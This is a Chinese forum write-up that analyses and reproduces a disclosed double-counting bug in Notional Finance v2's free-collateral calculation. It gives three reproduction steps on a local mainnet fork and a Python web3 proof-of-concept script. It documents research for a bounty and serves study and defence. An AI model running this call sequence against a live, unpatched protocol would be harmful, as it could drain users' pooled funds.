Notional Double Counting Free Collateral 分析和复现

资讯 作者:看雪学院 2023-01-05 19:43:52 阅读:183


本文为看雪论坛优秀文章

看雪论坛作者ID:ghostmazeW




漏洞描述


Notional(https://notional.finance/portfolio/) 简单说来就是一个固定周期,固定利率的借贷池,主要支持Borrow,lend以及Provide Liquidity的功能。在notional v2中有一个free collateral的概念,根据你的free collateral的计算的值可以借贷出相应价值的代币,而这个漏洞就是在free collateral的计算上出现了问题,导致可以双重计数,从而能够以较低的抵押贷出比抵押价值要多的代币出来,利用该漏洞可以掏空整个LP中的所有资金。

漏洞类型:逻辑

难度:中等

赏金:100万刀





漏洞分析


1. 通过分析复现,发现本次漏洞的成因非常简单,就是在用户账户关键参数的读写上存在逻辑问题,导致能够双重计数。废话不多说,顺着调用链分析,首先是调用了enableBitmapCurrency() 来将用户的accountContext.bitmapCurrencyId = currencyId;设置为currencyId。
先看看调用前getAccount()的值:(getAccount()返回的是一个数据结构体,可以跟进分析数据结构)

[(0, b'\x00', 0, 0, b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'), [(0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0)], []]

接下来调用enableBitmapCurrency(1),将currencyId =1 的代币设置为bitmapCurrencyId后:

[(1641427200, b'\x00', 0, 1, b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'), [(1, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0)], []]

此处可以看到,accountContext.bitmapCurrencyId 已经被设置成了1,且再次调用getAccount(),可以通过代码知道accountBalances[0]的值已经被赋值,因为此处我们只enable了bitmap,没有deposit任何代币,所以此处accountBalances[0]为(1, 0, 0, 0, 0)是没有任何问题的。

2.此时在进行第二步操作,利用depositUnderlyingToken()向我们个人地址中deposit代币,此处用DAI作为例子,DAI的currencyId为2,这个可以直接通过代理合约调用接口查看。

[(1641427200, b'\x00', 0, 1, b'@\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'), [(1, 0, 0, 0, 0), (2, 18344299339310, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0)], []]

在充值完成后,查看账户信息,发现
accountContext.activeCurrencies被赋值b'400200000000000000000000000000000000'

accountBalances[1]被赋值为了(2, 18344299339310, 0, 0, 0)

accountContext.activeCurrencies变量的修改,来自于depositUnderlyingToken中的 balanceState.finalize(account, accountContext, false);可以跟进看看。
在.finalize(account, accountContext, false);中accountContext.setActiveCurrency会将 accountContext.activeCurrencies修改。但这不是重点。

此处查看getAccount()方法,如果accountContext.activeCurrencies存在的话,会去从存储中读取该代币的值,accountBalances = new AccountBalance[](10); accountBalances是一个长度为10数组,如果开始不是很清楚的话为啥是10的话,这个地方就能非常明白,在开启bitmapcurrency第一个数组是用来放账户中ETH的balance数据的,后面的9个数组是用来放其中支持的9种代币的balance数据的,bytes18即每2个字节代表一个代币。
到此,程序都是正常运行的,我们enable了currencyId == 1 的ETH,但是没有充值,所以ETH的balance数据为(1, 0, 0, 0, 0),第二步我们充值了DAI,所以DAI的balance为(2, 18344299339310, 0, 0, 0),这些都没有问题。

3.接下来进行第三步,再次enableBitmapCurrency(),此时将DAI的currencyId 作为参数。执行完成后,查看Account。此时发现accountBalances的前两个数组的值变成一样了,也就是说ETH所在的balance被DAI的balance覆盖了。

[(1641427200, b'\x00', 0, 2, b'@\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'), [(2, 18344299339310, 0, 0, 0), (2, 18344299339310, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0)], []]

同时查看:free_collateral: [212752332, [18344299339310, 18344299339310, 0, 0, 0, 0, 0, 0, 0, 0]],发现价值翻倍了。

再来看看getAccount()中设置ETH balance的代码,如果accountContext.isBitmapEnabled(),则会以bitmapCurrencyId所代表的代币balance来赋值到accountBalances[0]。OK,问题就在这里,也就是说通过修改bitmapCurrencyId的值能覆盖ETH所代表的balance位的值,实现double couting。





漏洞复现


对于漏洞的复现,其实步骤很简单。
源码:https://github.com/notional-finance/contracts-v2

npx hardhat node --fork https://eth-mainnet.alchemyapi.io/v2/your_key --fork-block-number 13950000

(1)enableBitmapCurrency(1) //启用bitmap,将ETH设置为bitmapCurrency。

(2)depositUnderlyingToken(useraddr,2,amount) //充值DAI
此处如果没有DAI,需要先到swap购买DAI,然后approve notional的代理合约地址。

(3)enableBitmapCurrency(2) //启用bitmap,将DAI设置为bitmapCurrency。

此3步就能完全复现漏洞。

具体的POC,我是直接用python web3调用的,也可以自己构造或者用contract实现。

这是我临时用的py 测试脚本,可以参考。
from web3 import Web3from Constant import Abiimport binascii class Poc:    def __init__(self):        self.web3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))        #self.web3 = Web3(Web3.HTTPProvider("https://mainnet.infura.io/v3/yourkey"))        self.NationalAbi = Abi.NationalAbi        #self.addr = '0xdE14D5F07456c86F070C108A04Ae2fafdbD2A939'        self.addr = "0x1344A36A1B56144C3Bc62E7757377D288fDE0369"        self.uni_router = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D"        self.cdai_address = "0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643"        self.dai_address = "0x6B175474E89094C44Da98b954EedeAC495271d0F"        self.uniswap_router_abi = Abi.UniswapRouter2        self.cdai_abi = Abi.CDaiAbi        self.dai_abi = Abi.DaiAbi        self.contract = self.web3.eth.contract(address=self.addr, abi=self.NationalAbi)        self.uniswapRouter =self.web3.eth.contract(address=self.uni_router,abi=self.uniswap_router_abi)        self.cdai_token = self.web3.eth.contract(address=self.cdai_address,abi=self.cdai_abi)        self.dai_token = self.web3.eth.contract(address=self.dai_address,abi=self.dai_abi)        self.privatekey = "your privatekey"        self.account = self.web3.eth.account.from_key(self.privatekey)        self.txParams = {            'chainId': 31337, #hardhat chianid            'nonce': self.web3.eth.getTransactionCount(self.account.address),            'gas': 2000000,            'from': self.account.address,            # 'value': Web3.toWei(0, 'ether'),            'gasPrice': self.web3.eth.gasPrice,        }     def get_free_collateral(self, address):        '''           获取        :param address:        :return:        '''        result = self.contract.functions.getFreeCollateral(address).call()        print(result)     def enable_bitmapCurrency(self, currencyid):        '''        开启bitmapCurrency        :return:        '''        tx = self.contract.functions.enableBitmapCurrency(currencyid).buildTransaction(self.txParams)        signed_txn = self.web3.eth.account.signTransaction(tx, private_key=self.privatekey)  # 账号交易签名        res = self.web3.eth.send_raw_transaction(signed_txn.rawTransaction).hex()  # 发送原始签名        print(res)        txn_receipt = self.web3.eth.wait_for_transaction_receipt(res)  # 接受交易结果,并返回交易结果        print(txn_receipt)        return txn_receipt        # signed = self.account.signTransaction(tx)  # 用账户对交易签名        # tx_id = self.web3.eth.sendRawTransaction(signed.rawTransaction)  # 交易发送并获取交易id        # tx_hash = self.contract.functions.enableBitmapCurrency(currencyid).transact()        # result = self.web3.eth.wait_for_transaction_receipt(tx_hash)        # print(result)     def swap_eth_for_exact_tokens(self,amountout,ethnum,path,to,deadline):        '''        兑换Token        :return:        '''        self.txParams.update({"value":Web3.toWei(ethnum, "ether")})        tx = self.uniswapRouter.functions.swapETHForExactTokens(amountout, path, to, deadline).buildTransaction(self.txParams)        result = self.sign_and_sendtx(tx)        print(result)          # signed_txn = self.web3.eth.account.signTransaction(tx, private_key=self.privatekey)  # 账号交易签名        # res = self.web3.eth.send_raw_transaction(signed_txn.rawTransaction).hex()  # 发送原始签名        # print(res)        # txn_receipt = self.web3.eth.wait_for_transaction_receipt(res)  # 接受交易结果,并返回交易结果        # print(txn_receipt)     def sign_and_sendtx(self,tx):        '''        验签和的发送交易        :param tx:        :return:        '''        signed_txn = self.web3.eth.account.signTransaction(tx, private_key=self.privatekey)  # 账号交易签名        res = self.web3.eth.send_raw_transaction(signed_txn.rawTransaction).hex()  # 发送原始签名        txn_receipt = self.web3.eth.wait_for_transaction_receipt(res)  # 接受交易结果,并返回交易结果         return txn_receipt       def get_all_functions(self,addr,abi):        '''        获取所有方法        :return:        '''        funcs = self.web3.eth.contract(address=addr, abi=abi)        for func in funcs.all_functions():            print(func)     def get_account_context(self, address):        '''        获取账户上下文        :param address:        :return:        '''        result = self.contract.functions.getAccountContext(address).call()        print(result)        print("nextSettleTime:"+str(result[0]))        print("hasDebt:" + str(binascii.b2a_hex(result[1])))        print("assetArrayLength:" + str(result[2]))        print("bitmapCurrencyId:" + str(result[3]))        print("activeCurrencies:" + str(binascii.b2a_hex(result[4])))     def get_currencyid(self, address):        result = self.contract.functions.getCurrencyId(address).call()        print(result)     def deposit_underlying_token(self,account,currencyId,amountExternalPrecision):        '''        充值        :param account:        :param currencyId:        :param amountExternalPrecision:        :return:        '''        self.txParams.update({"value": Web3.toWei(1, "ether")})        tx = self.contract.functions.depositUnderlyingToken(account, currencyId, amountExternalPrecision).buildTransaction(            self.txParams)        result = self.sign_and_sendtx(tx)        print(result)     def allowance_dai(self):        '''         :param address:        :return:        '''        result = self.cdai_token.functions.allowance(self.account.address,self.addr).call()        print(result)     def approve_cdai(self):        '''         :param address:        :return:        '''        tx = self.cdai_token.functions.approve(self.addr, 0xffffffff).buildTransaction(            self.txParams)        result = self.sign_and_sendtx(tx)        print(result)     def approve_dai(self):        # tx = self.dai_token.functions.approve(self.addr, 0xffffffff).buildTransaction(        #     self.txParams)        # result = self.sign_and_sendtx(tx)        # print(result)         tx = self.dai_token.functions.approve(self.addr, 1000000000000000000000000000).buildTransaction(            self.txParams)        result = self.sign_and_sendtx(tx)        print(result)     def get_account(self,address):        '''        获取账户信息        :param address:        :return:        '''        result = self.contract.functions.getAccount(Web3.toChecksumAddress(address)).call()        print(result)      def start(self):        '''        start test        :return:        '''        cdai = "0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643" #8        ceth = "0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5"        # 兑换dai        # amountout = 4000 * 10 ** 18        # path = ["0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2","0x6B175474E89094C44Da98b954EedeAC495271d0F"]        # to = self.account.address        # deadline = 0xffffffff        # self.swap_eth_for_exact_tokens(amountout,2,path,to,deadline)         #self.get_free_collateral(self.account.address)        # 设置        #self.enable_bitmapCurrency(1)        # self.get_free_collateral(Web3.toChecksumAddress("0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"))        # self.get_account_context(Web3.toChecksumAddress("0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"))        # self.get_account("0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266")        #self.enable_bitmapCurrency(2)        #self.get_currencyid(Web3.toChecksumAddress("0x5d3a536e4d6dbd6114cc1ead35777bab948e3643"))        # self.get_currencyid(Web3.toChecksumAddress("0x6b175474e89094c44da98b954eedeac495271d0f"))       # self.approve_dai()        # self.approve_dai_cdai()        #self.deposit_underlying_token(self.account.address,160,1000000000000000000)    if __name__ == "__main__":    Poc().start()




看雪ID:ghostmazeW

https://bbs.pediy.com/user-home-811277.htm

*本文由看雪论坛 ghostmazeW 原创,转载请注明来自看雪社区


# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们



球分享

球点赞

球在看


点击“阅读原文”,了解更多!

在线申请SSL证书行业最低 =>立即申请

[广告]赞助链接:

关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注KnowSafe微信公众号
随时掌握互联网精彩
赞助链接